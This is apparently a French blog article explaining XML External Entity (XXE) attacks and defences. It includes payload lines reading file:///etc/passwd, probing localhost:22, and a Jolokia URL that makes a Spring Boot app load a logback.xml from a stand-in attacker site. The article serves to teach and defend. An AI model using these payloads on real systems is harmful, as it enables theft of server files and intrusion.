Les attaques XXE

Parmi les 10 points de vigilance identifiés par l’OWASP (Open Web Application Security Project) les attaques XXE (eXternal XML Entities) occupent une place finalement assez confidentielle. Contrairement à l’injection et XSS, les développeurs sont peu sensibilisés aux dangers des parseurs XML. Et pour cause, là où l’injection et XSS relève d’une faute de programmation, XXE n’est finalement que la conséquence d’une configuration par défaut défaillante des parseurs du marché. Et ce n’est pas prêt de changer, en tout cas tant que les DTD existeront et qu’il sera possible d’utiliser des entités externes, XXE continuera à faire des ravages.

Résumons rapidement ce qu’est une attaque XXE. Lorsqu’on crée un document XML, il est possible d’utiliser des DTD, l’ancêtre des XML Schema, c’est un document représentant la structure de notre document, sa grammaire. Or, les DTD proposent une fonctionnalité dénommée « Entité interne ou externe », pour vulgariser c’est l’équivalent d’une variable.

<?xml version = "1.0" encoding = "UTF-8" standalone = "yes"?>
<!DOCTYPE company [
   <!-- Ceci est une entité interne -->
   <!ELEMENT address (#PCDATA)>
   <!ENTITY name "S. JABER">
   <!ENTITY company "DNG Consulting">
   <!ENTITY phone_no "(011) 123-4567">
   <!-- Ceci est une entité externe -->
   <!ENTITY desc SYSTEM "descriptionSociete.txt">
]>
<company>
   &name;
   &company;
   &phone_no;
   &desc;
</company>

Dans le document précédent, les variables sont simplement remplacées par leurs valeurs respectives.

Les entités internes ne sont pas dangereuses car elles sont localisées dans le document lui-même. Tout le problème se situe au niveau des entités externes car il est possible de pointer sur n’importe quel chemin, notamment des fichiers sensibles. Il suffit pour cela de remplacer <!ENTITY desc SYSTEM "descriptionSociete.txt"> par  <!ENTITY desc SYSTEM "file:///etc/passwd"> pour que la variable « desc » contienne les éléments du fichier « etc/passwd ». Pour peu que le fichier XML soit ensuite réaffiché en cas d’erreur ou stocké dans une base pour être réaffiché plus tard à l’écran l’attaquant dispose de toutes les informations sensibles accessibles par le compte de service système du serveur (d’où l’intérêt d’utiliser des comptes restreints).

Nous vous laissons imaginer le reste, notamment la possibilité de tester des URL locales au serveur ou même de réaliser des exécutions de code à distance avec l’ordre expect() en PHP ou du « Port Scanning » (<!DOCTYPE scan [<!ENTITY test SYSTEM "http://localhost:22">]>).

La seule manière de s’en prémunir consiste à interdire l’utilisation d’entités externes, c’est une option proposée par les parseurs. A noter qu’il n’est pas toujours possible de le faire, notamment lorsque le parseur en question est une bibliothèque réalisant de la sérialisation/désérialisation implicite.

On pourrait penser que les attaques XXE touchent peu ou pas les applications « modernes ». Et pourtant, à l’heure des MicroServices, la société Veracode a mis en évidence récemment une faille dans les applications Spring Boot utilisant l’outil de monitoring Actuator et Jolokia pour l’exposition JMX-HTTP. Lorsqu’une application Spring s’appuie sur Actuator, elle crée de manière implicite des points d’accès permettant de diagnostiquer la bonne santé de l’application (/heath, /trace, /beans, /env, …). Si la plupart relève de la lecture de configuration, certaines permettent de réaliser des écritures, voire de changer la configuration. Dans cette attaque, il suffit simplement d’appeler l’URL permettant de changer le fichier de configuration des logs : http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/monsitepirate!/logback.xml en fournissant un fichier logback.xml contenant une entité externe similaire à celle décrite plus haut.

Alors bien évidemment, tous les points d’accès Actuator/Jolokia et /jolokia doivent être sécurisés de sorte à n’autoriser qu’un administrateur à changer la configuration. Mais plus généralement cette attaque XXE met en évidence le fait que toute zone de l’application permettant de parser un fichier XML ou même une requête HTTP, met en danger la sécurité applicative.

Le projet hébergé sur Github donne beaucoup plus d’informations sur ce problème et notamment une autre vulnérabilité, celle-ci réalisée par désérialisation permettant de réaliser une exécution de code à distance, nous l’aborderons dans un prochain article.